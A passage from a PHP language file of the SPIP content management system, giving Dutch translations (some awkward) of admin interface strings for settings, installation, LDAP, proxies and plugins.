'info_desactiver_messagerie_personnelle' => 'Je kan het interne berichtensysteem op deze site aan- of uitzetten.',
'info_descriptif' => 'Beschrijving:',
'info_desinstaller_plugin' => 'schaft de gegevens af en désactive plugin',
'info_discussion_cours' => 'Lopende discussies',
'info_ecrire_article' => 'Alvorens een artikel te kunnen schrijven, dien je minimaal één rubriek aanmaken.',
'info_email_envoi' => 'Verzendadres (optioneel)',
'info_email_envoi_txt' => 'Geef hieronder het adres op dat gebruikt wordt voor het versturen van e-mails. (Standaard wordt het adres van de bestemmeling als verzendadres gebruikt.) :',
'info_email_webmestre' => 'Webmaster E-mail',
'info_entrer_code_alphabet' => 'Vul de alfabetcode in die je wil gebruiken:',
'info_envoi_email_automatique' => 'Automatisch verzenden van e-mails',
'info_envoyer_maintenant' => 'Nu versturen',
'info_etape_suivante' => 'Naar de volgende stap ',
'info_etape_suivante_1' => 'Je kan de volgende stap zetten.',
'info_etape_suivante_2' => 'Je kan de volgende stap zetten.',
'info_exceptions_proxy' => 'Uitzonderingen op de proxy',
'info_exportation_base' => 'Uitvoer van de databank naar @archive@',
'info_facilite_suivi_activite' => 'Om de opvolging en redactie van artikels te vergemakkelijken, kan SPIP mails versturen -bijvoorbeeld naar een mailinglist van redacteurs- met de aankondiging van vragen voor publicatie of goedgekeurde publicaties.',
'info_fichiers_authent' => 'Verificatiebestand ".htpasswd"',
'info_forums_abo_invites' => 'Je site bevat forums met abonnement; bezoekers worden dus op de publieke site verzocht zich in te schrijven.',
'info_gauche_admin_effacer' => '<b>Deze pagina is alleen beschikbaar voor beheerders.</b><p> Het biedt toegang tot diverse functies van technisch onderhoud. Sommigen van hen aanleiding geven tot een specifieke verificatie proces, dat nodig heeft om FTP-toegang tot de website.</p>',
'info_gauche_admin_tech' => '<b>Deze pagina is enkel toegankelijk voor beheerders van de site.</b><p> Ze geeft toegang tot allerlei technische onderhoudstaken. Voor het uitvoeren van sommige taken zijn een afzonderlijke aanmelding en toegang tot je site via FTP nodig.</p>',
'info_gauche_admin_vider' => '<b>Deze pagina is alleen beschikbaar voor beheerders.</b><p> Het biedt toegang tot diverse
functies van technisch onderhoud. Sommigen van hen aanleiding geven tot een specifieke verificatie
proces, dat nodig heeft om FTP-toegang tot de website.</p>',
'info_gauche_auteurs' => 'Je vindt hier alle auteurs van de site.
Hun status is te herkennen aan de kleur van het icoontje (beheerder = groen; redacteur = geel).',
'info_gauche_auteurs_exterieurs' => 'Externe auteurs, zonder toegang tot de site, zijn aangeduid met een blauw icoontje,
gewiste auteurs met een grijze.',
'info_gauche_messagerie' => 'Het berichtensysteem laat toe om berichten uit te wisselen tussen redacteurs, memo’s (voor persoonlijk gebruik) te bewaren of aankondigingen te tonen op de beginpagina van de privé-ruimte (als je beheerder bent).',
'info_gauche_numero_auteur' => 'NUMMER AUTEUR',
'info_gauche_statistiques_referers' => 'Deze pagina toont een lijst met <i>referers</i>, tw. sites die een koppeling bevatten naar je eigen site, enkel voor vandaag en gisteren: de lijst wordt elke 24 uur opnieuw aangemaakt.',
'info_gauche_visiteurs_enregistres' => 'Hier zal je de geregistreerde bezoekers van de
publieke site vinden (forums met inschrijving).',
'info_generation_miniatures_images' => 'Aanmaak van de miniatuurafbeeldingen',
'info_gerer_trad' => 'De koppelingen voor vertaling beheren ?',
'info_gerer_trad_objets' => '@objets@ : het beheer van de vertaling koppelingen',
'info_hebergeur_desactiver_envoi_email' => 'Sommige hostingbedrijven staan het automatisch versturen van e-mails door hun servers niet toe. In dat geval zullen de volgende functionaliteiten van SPIP niet werken.',
'info_hier' => 'gisteren:',
'info_historique_activer' => 'Activeren van het opvolgen van de revisies',
'info_historique_affiche' => 'Deze versie weergeven',
'info_historique_comparaison' => 'vergelijking',
'info_historique_desactiver' => 'Het opvolgen van de revisies desactiveren',
'info_historique_texte' => 'Met de opvolging van de revisies is het mogelijk de geschiedenis van alle wijzigingen aan een artikel bij te houden, en de verschillende tussen opeenvolgende versies weer te geven.',
'info_identification_publique' => 'Je publieke identiteit...',
'info_image_process' => 'Kies de beste methode om een miniatuurafbeelding te maken door op de bijhorende afbeelding te klikken.',
'info_image_process2' => 'Wanneer geen enkel beeld wordt getoond, betekent dit dat de server van je website niet is ingesteld om deze tools te gebruiken. Als je van deze functies gebruik wil maken, dien je de technische verantwoordelijke van de server te contacteren en te vragen naar «GD» of «Imagick» extensies.',
'info_images_auto' => 'Beelden automatisch berekend',
'info_informations_personnelles' => 'Persoonlijke gegevnes',
'info_inscription_automatique' => 'Automatische inschrijving van nieuwe redacteurs',
'info_jeu_caractere' => 'Tekenset van de site',
'info_jours' => 'dagen',
'info_laisser_champs_vides' => 'velden leeglaten)',
'info_langues' => 'Talen van de site',
'info_ldap_ok' => 'De LDAP-autentificatie is geïnstalleerd',
'info_lien_hypertexte' => 'Hypertekst koppeling :',
'info_liste_nouveautes_envoyee' => 'Het nieuwighedenlijst werd opgestuurd',
'info_liste_redacteurs_connectes' => 'Lijst met online redacteuren',
'info_login_existant' => 'Deze login is reeds in gebruik',
'info_login_trop_court' => 'Login te kort.',
'info_login_trop_court_car_pluriel' => 'De login moet minstens @nb@ tekens.',
'info_logos' => 'De logo’s',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'In dezelfde rubriek',
'info_message' => 'Bericht van',
'info_message_efface' => 'GEWIST BERICHT',
'info_message_en_redaction' => 'Je berichten in redactie',
'info_message_technique' => 'Technisch bericht :',
'info_messagerie_interne' => 'Intern berichtensysteem',
'info_mise_a_niveau_base' => 'update van je SQL-databank',
'info_mise_a_niveau_base_2' => '{{Opgelet!}} Je hebt een SPIP-versie geïnstalleerd die {ouder} is dan diegene die zich eerder op deze site bevond.: je databank loopt hierdoor het risico beschadigd te worden waardoor je site niet meer zal functioneren.<br />{{Herinstalleer de SPIP-bestanden.}}',
'info_modification_enregistree' => 'Uw wijziging werd geregistreerd',
'info_modifier_auteur' => 'De auteur wijzigen :',
'info_modifier_rubrique' => 'De rubriek wijzigen:',
'info_modifier_titre' => 'Wijzigen : @titre@',
'info_mon_site_spip' => 'Mijn SPIP-site',
'info_mot_sans_groupe' => '(Woorden zonder groep...)',
'info_moteur_recherche' => 'Geïntegreerde zoekmachine',
'info_moyenne' => 'gemiddeld:',
'info_multi_articles' => 'Taalmenu voor artikels instellen?',
'info_multi_cet_article' => 'Gebruikte taal in dit artikel is:',
'info_multi_langues_choisies' => 'Kies hierna welke talen ter beschikking staan van de redacteurs van je site.
Talen die al worden gebruikt (vooraan in de lijst getoond) kunnen niet geschrapt worden.
',
'info_multi_objets' => '@objets@ : Activeer de taalmenu',
'info_multi_rubriques' => 'Taalmenu toepassen op de rubrieken?',
'info_multi_secteurs' => '... enkel voor de rubrieken in de hoofdmap?',
'info_nb_articles' => '@nb@ artikelen',
'info_nb_articles_syndiques' => '@nb@ gesyndiceerde artikelen',
'info_nb_auteurs' => '@nb@ auteurs',
'info_nb_messages' => '@nb@ berichten',
'info_nb_mots_cles' => '@nb@ trefwoord',
'info_nb_rubriques' => '@nb@ secties',
'info_nb_sites' => '@nb@ sites',
'info_nb_visiteurs' => '@nb@ bezoekers',
'info_nom' => 'Naam',
'info_nom_destinataire' => 'Naam van de bestemmeling',
'info_nom_pas_conforme' => 'html bakens zijn niet toegelaten',
'info_nom_site' => 'naam van je site',
'info_nombre_articles' => '@nb_articles@ artikels,',
'info_nombre_partcipants' => 'DEELNEMERS AAN DE DISCUSSIE :',
'info_nombre_rubriques' => '@nb_rubriques@ rubrieken, ',
'info_nombre_sites' => '@nb_sites@ sites,',
'info_non_deplacer' => 'Niet verplaatsen...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP kan regelmatig een bericht versturen om de laatste nieuwigheden van de site te melden
(recent gepubliceerde artikels en berichten).',
'info_non_envoi_liste_nouveautes' => 'De lijst met nieuwigheden niet versturen',
'info_non_modifiable' => 'kan niet gewijzigd worden',
'info_non_suppression_mot_cle' => 'Ik wil dit trefwoord niet verwijderen.',
'info_note_numero' => 'Noot @numero@',
'info_notes' => 'Opmerkingen',
'info_nouveaux_message' => 'Nieuwe berichten',
'info_nouvel_article' => 'Nieuw artikel',
'info_nouvelle_traduction' => 'Nieuwe vertaling :',
'info_numero_article' => 'ARTIKEL NUMMER:',
'info_obligatoire_02' => '(verplicht)',
'info_option_accepter_visiteurs' => 'Inschrijving van bezoekers van de publieke site aanvaarden',
'info_option_faire_suivre' => 'Berichten van het forum bezorgen aan de auteurs van de artikels',
'info_option_ne_pas_accepter_visiteurs' => 'Inschrijving van bezoekers weigeren',
'info_options_avancees' => 'GEAVANCEERDE OPTIES',
'info_ortho_activer' => 'Spellingcontrole inschakelen',
'info_ortho_desactiver' => 'Spellingcontrole uitschakelen',
'info_ou' => 'of...',
'info_page_interdite' => 'Verboden pagina',
'info_par_nom' => 'per naam',
'info_par_nombre_article' => 'volgens aantal artikels',
'info_par_statut' => 'per statuut',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Paswoord te kort.',
'info_passe_trop_court_car_pluriel' => 'Het wachtwoord moet ten minste @nb@ tekens.',
'info_passes_identiques' => 'Beide paswoorden zijn niet identiek.',
'info_pense_bete_ancien' => 'Uw oude herinneringen',
'info_plus_cinq_car' => 'Meer dan 5 karakters',
'info_plus_cinq_car_2' => '(Meer dan 5 karakters)',
'info_plus_trois_car' => '(Meer dan 3 karakters)',
'info_popularite' => 'populariteit: @popularite@; bezoeken: @visites@',
'info_popularite_4' => 'populariteit: @popularite@; bezoeken: @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum :',
'info_pour' => 'voor',
'info_preview_admin' => 'Enkel beheerders kunnen de site in preview zien',
'info_preview_comite' => 'Alle redacteurs kunnen de site in preview zien',
'info_preview_desactive' => 'Preview van de site is uitgeschakeld',
'info_preview_texte' => 'Nu is het ook mogelijk om de site in preview mode te zien, alsof alle artikels en berichten (indien ze tenminste werden « voorgesteld voor publicatie ») ook echt waren gepubliceerd.Dient deze mogelijkheid te worden voorzien voor de beheerders alleen, voor alle redacteurs of voor niemand ?',
'info_principaux_correspondants' => 'Je belangrijkste correspondenten',
'info_procedez_par_etape' => 'volg stap voor stap',
'info_procedure_maj_version' => 'de procedure voor updaten die nodig is om de databank aan te passen
aan de nieuwe versie van SPIP.',
'info_proxy_ok' => 'Test van proxy geslaagde.',
'info_ps' => 'N.B.',
'info_publier' => 'publiceren',
'info_publies' => 'Je gepubliceerde artikels',
'info_question_accepter_visiteurs' => 'Als de sjablonen van je site voorzien dat bezoekers zich kunnen registreren zonder toegang tot de privé-ruimte, activeer dan de volgende optie :',
'info_question_inscription_nouveaux_redacteurs' => 'Aanvaard je inschrijvingen van nieuwe redacteuren vanop
de publieke site? Indien wel, dan kunnen bezoekers
zich via een geautomatiseerd formulier inschrijven en
toegang krijgen tot de privé-ruimte om zelf artikels
voor te stellen. <div class="notice">Bij inschrijving zal een
gebruiker een automatische e-mail ontvangen met daarin
de toeganscode voor de site. Sommige hostingproviders
blokkeren echter het versturen van e-mail vanaf hun
servers : in dat geval is een automatische inschrijving
niet mogelijk.</div>',
'info_question_utilisation_moteur_recherche' => 'Wil je gebruik maken van de geintegreerde zoekmachine van SPIP ?
(niet-activeren hiervan versnelt de werking van het systeem.)',
'info_question_vignettes_referer_non' => 'Niet de vangsten van de sites van oorsprong van de bezoeken te kennen geven',
'info_qui_edite' => '@nom_auteur_modif@ gewerkt aan de inhoud er @date_diff@ minuten ',
'info_racine_site' => 'Begin van de site',
'info_recharger_page' => 'Gelieve deze pagina binnen enkele ogenblikken te herladen.',
'info_recherche_auteur_a_affiner' => 'Teveel resultaten voor "@cherche_auteur@" ; gelieve de zoekopdracht te verfijnen.',
'info_recherche_auteur_ok' => 'Meerdere redacteurs gevonden voor "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Geen resultaat voor « @cherche_auteur@ ».',
'info_recommencer' => 'Proberd nog eens alstublieft.',
'info_redacteur_1' => 'Redacteur',
'info_redacteur_2' => 'met toegang tot de privé-ruimte(<i>aanbevolen</i>)',
'info_redacteurs' => 'Redacteurs',
'info_redaction_en_cours' => 'IN REDACTIE',
'info_redirection' => 'Omleiding',
'info_redirection_activee' => 'De omleiding is ingeschakeld.',
'info_redirection_desactivee' => 'De redirect is verwijderd.',
'info_refuses' => 'Uw geweigerde artikels',
'info_reglage_ldap' => 'Opties : <b>Instellen van de LDAP invoer</b>',
'info_renvoi_article' => '<b>Doorsturen.</b> Dit artikel verwijst naar de pagina:',
'info_reserve_admin' => 'Alleen beheerders kunnen dit adres wijzigen.',
'info_restreindre_rubrique' => 'Beheer tot deze rubriek beperken :',
'info_resultat_recherche' => 'onderzoek resultaats:',
'info_rubriques' => 'Rubrieken',
'info_rubriques_02' => 'Rubrieken',
'info_rubriques_trouvees' => 'gevonden Rubrieken',
'info_rubriques_trouvees_dans_texte' => 'Rubrieken gevonden (in tekst)',
'info_sans_titre' => 'Zonder titel',
'info_selection_chemin_acces' => '<b>Selecteer</b> hierna de toegangswijze tot het jaarboek:',
'info_signatures' => 'namen',
'info_site' => 'Site',
'info_site_2' => 'site :',
'info_site_min' => 'site',
'info_site_reference_2' => 'Gekoppelde site',
'info_site_web' => 'Site Web :',
'info_sites' => 'sites',
'info_sites_lies_mot' => 'Referentiesites gekoppeld aan het trefwoord ',
'info_sites_proxy' => 'Een proxy gebruiken',
'info_sites_trouves' => 'Gevonden Sites ',
'info_sites_trouves_dans_texte' => 'Gevonden sites (in de tekst)',
'info_sous_titre' => 'Ondertitel:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Statuut van deze auteur :',
'info_statut_auteur_2' => 'Ik ben',
'info_statut_auteur_a_confirmer' => 'Inschrijving bevestigen',
'info_statut_auteur_autre' => 'Andere status :',
'info_statut_efface' => 'Uitgewist',
'info_statut_redacteur' => 'Redacteur',
'info_statut_utilisateurs_1' => 'Standaardstatus voor de ingevoerde gebruikers',
'info_statut_utilisateurs_2' => 'Kies de status die de personen uit het LDAP-adressenboek toebediend krijgen als ze de eerste keer inloggen. Nadien kan je deze status van elke auteur altijd één per één wijzgen.',
'info_suivi_activite' => 'Vervolg van de editoriale activiteit',
'info_surtitre' => 'Opschrift',
'info_syndication_integrale_1' => 'Uw site stelt syndicatiebestanden voor (zie « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Wil u integrale artikels doorgeven of enkel een samenvatting van enkele honderden karakters doorgeven ?',
'info_table_prefix' => 'U kunt het voorvoegsel van de naam van de tabel van gegevens (dit is absoluut noodzakelijk wanneer men verschillende sites in dezelfde database wil sites) wijzigen. Dit voorvoegsel schrijft zich in kleine letters, niet geaccentueerd, en zonder ruimte.',
'info_taille_maximale_images' => 'SPIP zal de maximumomvang van de beelden testen die hij kan behandelen (in miljoenen pixels). <br/> zullen de grotere beelden niet verminderd zijn.',
'info_taille_maximale_vignette' => 'Maximale grootte van de mini-afbeeldingen gemaakt door het systeem:',
'info_terminer_installation' => 'Je kan de standaardinstallatieprocedure nu beëindigen.',
'info_texte' => 'Tekst',
'info_texte_explicatif' => 'Uitleg',
'info_texte_long' => '(de tekst is lang: hij zal bijgevolg in verschillende delen verschijnen die opnieuw bij elkaar worden gezet na goedkeuring van de tekst.)',
'info_texte_message' => 'Tekst van je bericht',
'info_texte_message_02' => 'Tekst van het bericht',
'info_titre' => 'Titel:',
'info_total' => 'totaal :',
'info_tous_articles_en_redaction' => 'Alle artikels in redactie',
'info_tous_articles_presents' => 'Alle gepubliceerde artikels van deze rubriek',
'info_tous_articles_refuses' => 'Alle items afgewezen',
'info_tous_les' => 'alle :',
'info_tous_redacteurs' => 'Berichten voor alle redacteurs',
'info_tout_site' => 'Volledige site',
'info_tout_site2' => 'Het artikel werd niet naar deze taal vertaald.',
'info_tout_site3' => 'Het artikel werd naar deze taal vertaald maar aan het bronartikel werden wijzigingen aangebracht. De vertaling dient geactualiseerd te worden.',
'info_tout_site4' => 'Het artikel is vertaald naar deze taal en de vertaling is geactualiseerd.',
'info_tout_site5' => 'Origineel artikel.',
'info_tout_site6' => '<b>Opgelet :</b> enkel de originele artikels worden getoond.
Vertalingen worden gelinkt aan het origineel,
een kleur geeft hun status aan :',
'info_traductions' => 'Vertalingen',
'info_travail_colaboratif' => 'Samenwerking voor de artikels',
'info_un_article' => 'een Artikel, ',
'info_un_site' => 'een Website, ',
'info_une_rubrique' => 'een Rubriek, ',
'info_une_rubrique_02' => '1 Rubriek',
'info_url' => 'URL :',
'info_url_proxy' => 'Proxy-URL',
'info_url_site' => 'WEBSITE URL :',
'info_url_site_pas_conforme' => 'De site URL is niet geldig.',
'info_url_test_proxy' => 'URL-test',
'info_urlref' => 'Adres van de koppeling :',
'info_utilisation_spip' => 'Je kan het publicatiesysteem nu gebruiken...',
'info_visites_par_mois' => 'Tonen per maand :',
'info_visiteur_1' => 'Bezoeker',
'info_visiteur_2' => 'van de publieke site',
'info_visiteurs' => 'Bezoekers',
'info_visiteurs_02' => 'Bezoekers van de publieke site',
'info_webmestre_forces' => 'Webmasters zijn op dit moment gedefinieerd in <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adres van de database die door leverancier wordt toegekend',
'install_base_ok' => 'De basis @base@ werd erkend',
'install_connect_ok' => 'De nieuwe basis is uitgeroepen tot de server @connect@.',
'install_echec_annonce' => 'De installatie zal wellicht mislukken of leiden tot een niet-werkende site...',
'install_extension_mbstring' => 'SPIP functioneert niet met :',
'install_extension_php_obligatoire' => 'SPIP heeft de php extensie nodig :',
'install_login_base_hebergeur' => 'Login van aansluiten die door leverancier wordt toegekend',
'install_nom_base_hebergeur' => 'De naam van de basis die door de leverancier wordt toegekend:',
'install_pas_table' => 'Basis momenteel zonder tabels',
'install_pass_base_hebergeur' => 'Wachtwoord van aansluiten dat door leverancier wordt toegekend',
'install_php_version' => 'PHP versie @version@ onvoldoende (minimum = @minimum@)',
'install_select_langue' => 'Kies een taal en klik vervolgens op de knop «volgende» om de installatie te beginnen.',
'install_select_type_db' => 'Het basissoort gegevens aangeven:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Basisserver van gegevens die door de leverancier wordt toegekend',
'install_table_prefix_hebergeur' => 'Het voorvoegsel van tafel dat door de leverancier wordt toegekend:',
'install_tables_base' => 'Tabelen van de basis',
'install_types_db_connus' => 'SPIP kan <b>MySQL</b> (het meest verbreid), <b>PostgreSQL</b> en <b>SQLite</b> gebruiken.',
'install_types_db_connus_avertissement' => '<b>PostgreSQL</b>support wordt ter experiment voorgesteld.',
'instituer_erreur_statut_a_change' => 'Het statuut is gewijzigd',
'instituer_erreur_statut_non_autorise' => 'U kunt niet kiezen voor deze status',
'intem_redacteur' => 'redacteur',
'intitule_licence' => 'Licentie',
'item_accepter_inscriptions' => 'Inschrijvingen aanvaarden',
'item_activer_messages_avertissement' => 'Waarschuwingsberichten activeren',
'item_administrateur_2' => 'beheerder',
'item_afficher_calendrier' => 'Op de kalender tonen',
'item_autoriser_documents_joints' => 'Gebruik van bijlagen bij artikels toestaan',
'item_autoriser_documents_joints_rubriques' => 'Gebruik van bijlagen bij rubrieken toestaan',
'item_autoriser_syndication_integrale' => 'Volledige artikels verspreiden via syndicatie',
'item_choix_administrateurs' => 'de beheerders',
'item_choix_generation_miniature' => 'Automatisch aanmaken van verkleinde afbeeldingen.',
'item_choix_non_generation_miniature' => 'Geen verkleinde afbeeldingen aanmaken.',
'item_choix_redacteurs' => 'de redacteurs',
'item_choix_visiteurs' => 'bezoekers van de publieke site',
'item_creer_fichiers_authent' => 'de .htpasswd bestanden aanmaken',
'item_limiter_recherche' => 'opzoeking beperken tot informatie van je eigen site',
'item_login' => 'Login',
'item_messagerie_agenda' => 'De besteldienst en de agenda activeren',
'item_mots_cles_association_articles' => 'Het artikels',
'item_mots_cles_association_rubriques' => 'van de rubrieken',
'item_mots_cles_association_sites' => 'van de gesyndiceerde of gerefereerde sites.',
'item_non' => 'Nee',
'item_non_accepter_inscriptions' => 'Geen inschrijvingen aanvaarden',
'item_non_activer_messages_avertissement' => 'Geen waarschuwingsberichten',
'item_non_afficher_calendrier' => 'Niet tonen op de kalender',
'item_non_autoriser_documents_joints' => 'Bijlagen bij artikels niet toestaan',
'item_non_autoriser_documents_joints_rubriques' => 'Bijlagen bij rubrieken niet toestaan',
'item_non_autoriser_syndication_integrale' => 'Enkel een samenvatting verspreiden',
'item_non_compresseur' => 'De samendrukking desactiveren',
'item_non_creer_fichiers_authent' => 'Deze bestanden niet aanmaken',
'item_non_gerer_statistiques' => 'Geen statistieken aanmaken',
'item_non_limiter_recherche' => 'De zoekopdracht uitbreiden naar de inhoud van de gerefereerde sites',
'item_non_messagerie_agenda' => 'De boodschappendienst en de agenda desactiveren',
'item_non_publier_articles' => 'Artikels niet vrijgeven voor de vastgelegde datum van publicatie',
'item_non_utiliser_moteur_recherche' => 'Zoekmachine niet gebruiken',
'item_nouvel_auteur' => 'Nieuwe auteur',
'item_nouvelle_rubrique' => 'Nieuw rubriek',
'item_oui' => 'Ja',
'item_publier_articles' => 'Artikels publiceren, welke ook hun publicatiedatum is.',
'item_reponse_article' => 'Antwoord op Artikel',
'item_utiliser_moteur_recherche' => 'De zoekmachine gebruiken',
'item_version_html_max_html4' => 'Worden beperkt tot HTML4 op de publieke site',
'item_version_html_max_html5' => 'Enable HTML5',
'item_visiteur' => 'bezoeker',
// J
'jour_non_connu_nc' => 'onbekend',
// L
'label_bando_outils' => 'Toolbar',
'label_bando_outils_afficher' => 'Tonen gereedschap',
'label_bando_outils_masquer' => 'Hide tools',
'label_choix_langue' => 'Selecteer uw taal',
'label_nom_fichier_connect' => 'Geef de naam die wordt gebruikt voor deze server',
'label_slogan_site' => 'Site Tag',
'label_taille_ecran' => 'Breedte van het scherm',
'label_texte_et_icones_navigation' => 'Navigatiemenu',
'label_texte_et_icones_page' => 'Bekijken van de pagina',
'ldap_correspondance' => 'erfenis van het veld @champ@',
'ldap_correspondance_1' => 'Erfenis van de velden LDAP',
'ldap_correspondance_2' => 'Voor elk volgend SPIP veld, de naam van het overeenkomstige veld LDAP aangeven. Leegte laten om niet het te vullen, door ruimtes of komma’s te scheiden om verschillende LDAP velden te proberen.',
'lien_ajout_destinataire' => 'Voeg deze bestemmeling toe',
'lien_ajouter_auteur' => 'Voeg deze auteur toe',
'lien_ajouter_participant' => 'Voeg nieuwe deelnemer toe',
'lien_ajouter_une_rubrique' => 'Deze rubriek toevoegen',
'lien_email' => 'e-mail',
'lien_nom_site' => 'WEBSITENAME:',
'lien_retirer_auteur' => 'Auteur verwijderen',
'lien_retirer_rubrique' => 'Rubriek uittrekken',
'lien_retirer_tous_auteurs' => 'Verwijder alle auteurs',
'lien_retirer_toutes_rubriques' => 'Alle rubrieken uittrekken',
'lien_retrait_particpant' => 'Deelnemer verwijderen',
'lien_site' => 'Site',
'lien_supprimer_rubrique' => 'Rubriek verwijderen',
'lien_tout_deplier' => 'Alles uitvouwen',
'lien_tout_replier' => 'Alles invouwen',
'lien_tout_supprimer' => 'Alles afschaffen',
'lien_trier_nom' => 'Sorteer op naam',
'lien_trier_nombre_articles' => 'Sorteer op aantal artikels',
'lien_trier_statut' => 'Sorteer op status',
'lien_voir_en_ligne' => 'ONLINE BEKIJKEN:',
'logo_article' => 'Logo van het artikel',
'logo_auteur' => 'Logo van de auteur',
'logo_rubrique' => 'Logo van de rubriek ',
'logo_site' => 'Logo van deze site',
'logo_standard_rubrique' => 'Logo standaard onderwerpen',
'logo_survol' => 'Logo voor rollover',
// M
'menu_aide_installation_choix_base' => 'Databank kiezen',
'module_fichier_langue' => 'Taalbestand',
'module_raccourci' => 'Snelkoppeling',
'module_texte_affiche' => 'Weergegeven tekst',
'module_texte_explicatif' => 'Je kan de volgende snelkoppelingen invoegen in de sjablonen van je publieke site. Ze worden automatisch vertaald in de verschillende talen waarvoor een taalbestand is aangemaakt.',
'module_texte_traduction' => 'Het taalbestand « @module@ » is beschikbaar in het :',
'mois_non_connu' => 'Onbekend',
// N
'nouvelle_version_spip' => 'Versie @version@ van SPIP is beschikbaar',
// O
'onglet_contenu' => 'Inhoud',
'onglet_declarer_une_autre_base' => 'Een andere basis verklaren',
'onglet_discuter' => 'Discussiëren',
'onglet_documents' => 'Documenten',
'onglet_interactivite' => 'Interactiviteit',
'onglet_proprietes' => 'Eigendommen',
'onglet_repartition_actuelle' => 'nu',
'onglet_sous_rubriques' => 'Onder-rubrieken',
// P
'page_pas_proxy' => 'Deze bladzijde moet niet via proxy gaan',
'pas_de_proxy_pour' => 'Desnoods geeft de machines of gebieden aan waarvoor dit proxy niet moet van toepassing zijn (bijvoorbeeld : @exemple@)',
'plugin_charge_paquet' => 'Lading van het pak @name@',
'plugin_charger' => 'Download',
'plugin_erreur_charger' => 'fout : onmogelijk om @zip@ te laden',
'plugin_erreur_droit1' => 'De lijst <code>@dest@</code> is niet toegankelijk in schrift.',
'plugin_erreur_droit2' => 'Gelieve de rechten op deze lijst (en het eventueel te creëren) controleren, of de bestanden door FTP plaatsen.',
'plugin_erreur_zip' => 'de mislukking pclzip : fout @status@',
'plugin_etat_developpement' => 'in ontwikkeling',
'plugin_etat_experimental' => 'experimenteel',
'plugin_etat_stable' => 'stabiel',
'plugin_etat_test' => 'in test',
'plugin_impossible_activer' => 'Onmogelijk om plugin @plugin@ te activeren',
'plugin_info_automatique1' => 'Als u tot de automatische installatie van plugins wilt machtiging verlenen, zal willen :',
'plugin_info_automatique1_lib' => 'Als u de automatische installatie van deze bibliotheek toe te laten :',
'plugin_info_automatique2' => 'een lijst <code>@rep@</code> creëren ;',
'plugin_info_automatique3' => 'controleren dat de server wordt gemachtigd om in deze lijst te schrijven.',
'plugin_info_automatique_creer' => 'om aan de wortel van de plaats te creëren.',
'plugin_info_automatique_exemples' => 'voorbeelden :',
'plugin_info_automatique_ftp' => 'U kunt een plugins, door FTP, in de lijst <tt>@rep@</tt> plaatsen',
'plugin_info_automatique_lib' => 'Sommige plugins vragen eveneens om bestanden in de lijst <code>lib/</code> te kunnen downloaden, om eventueel aan de wortel van de plaats te creëren.',
'plugin_info_automatique_liste' => 'Uw lijsten van plugins :',
'plugin_info_automatique_liste_officielle' => 'officiële plugins',
'plugin_info_automatique_liste_update' => 'De lijsten bijwerken',
'plugin_info_automatique_ou' => 'om...',
'plugin_info_automatique_select' => 'Selecteert hieronder een plugin : SPIP zal het downloaden en zal in de lijst <code>@rep@</code> het plaatsen; als dit plugin reeds bestaat, zal hij bijgewerkt worden.',
'plugin_info_credit' => 'Credits',
'plugin_info_erreur_xml' => 'De declaratie van deze plugin is onjuist',
'plugin_info_install_ok' => 'Succesvolle installatie',
'plugin_info_necessite' => 'Benodigd :',
'plugin_info_non_compatible_spip' => 'Deze plugin is niet compatibel met deze versie van SPIP',
'plugin_info_plugins_dist_1' => 'De onderstaande plugins zijn geladen en geactiveerd in de directory @plugins_dist@.', # extensies zijn speciaale plugins geleeverd met spip-core om een gebruikbare SPIP pakket te bouwen
'plugin_info_plugins_dist_2' => 'Ze zijn niet te deactiveren.',
'plugin_info_telecharger' => 'om sinds @url@ te downloaden en om te plaatsen in @rep@',
'plugin_info_upgrade_ok' => ' Geslaagde update',
'plugin_librairies_installees' => 'Geïnstalleerde libraries',
'plugin_necessite_lib' => 'Dit plugin vereist de library @lib@',
'plugin_necessite_plugin' => 'Vereist plugin @plugin@ in versie minimale @version@.',
'plugin_necessite_plugin_sans_version' => 'Vereist de plugin @plugin@ ',
'plugin_necessite_spip' => 'Vereist SPIP in versie minimale @version@.',
'plugin_source' => 'bron: ',
'plugin_titre_automatique' => 'Automatische installatie',
'plugin_titre_automatique_ajouter' => 'Een plugins toevoegen',
'plugin_titre_installation' => 'Het installeren van de plugin @plugin@',
'plugin_titre_modifier' => 'Mijn plugins',
'plugin_zip_active' => 'Gaat door om het te activeren',
'plugin_zip_adresse' => 'geeft hieronder het adres van een bestand zip van te downloaden plugin, of nog het adres van een lijst van plugins aan.',
'plugin_zip_adresse_champ' => 'Adres van plugin of de lijst ',
'plugin_zip_content' => 'Hij bevat de volgende bestanden (@taille@), <br/>leningen die in de lijst <code>@rep@</code> moeten geplaatst worden',
'plugin_zip_installe_finie' => 'Het bestand @zip@ is unzip en werd geplaatst.',
'plugin_zip_installe_rep_finie' => 'Het bestand @zip@ is unzip en werd in de lijst @rep@ geplaatst',
'plugin_zip_installer' => 'U kunt nu het plaatsen.',
'plugin_zip_telecharge' => 'Het bestand @zip@ werd geladen',
'plugins_actif_aucun' => 'Geen plugins ingeschakeld.',
'plugins_actif_un' => 'Een plugin is ingeschakeld.',
'plugins_actifs' => '@count@ plugins activeren.',
'plugins_actifs_liste' => 'Actief',
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Een plugin beschikbaar.',
'plugins_disponibles' => '@count@ plugins beschikbaar.',
'plugins_erreur' => 'De fout in plugins: @plugins@',
'plugins_liste' => 'Lijst van plugins',
'plugins_liste_dist' => 'Vergrendelde plugins', # "locked" in english
'plugins_recents' => 'Recent plugins.',
'plugins_tous_liste' => 'Alle',
'plugins_vue_hierarchie' => 'Hiërarchie',
'plugins_vue_liste' => 'Lijst',
'protocole_ldap' => 'De versie van het protocol :',
// Q
'queue_executer_maintenant' => 'Nu uitvoeren',
'queue_info_purger' => 'U kunt alle werken in afwachting verwijderen en het lijst van periodieke werken herstarten',
'queue_nb_jobs_in_queue' => '@nb@ wachtrij',
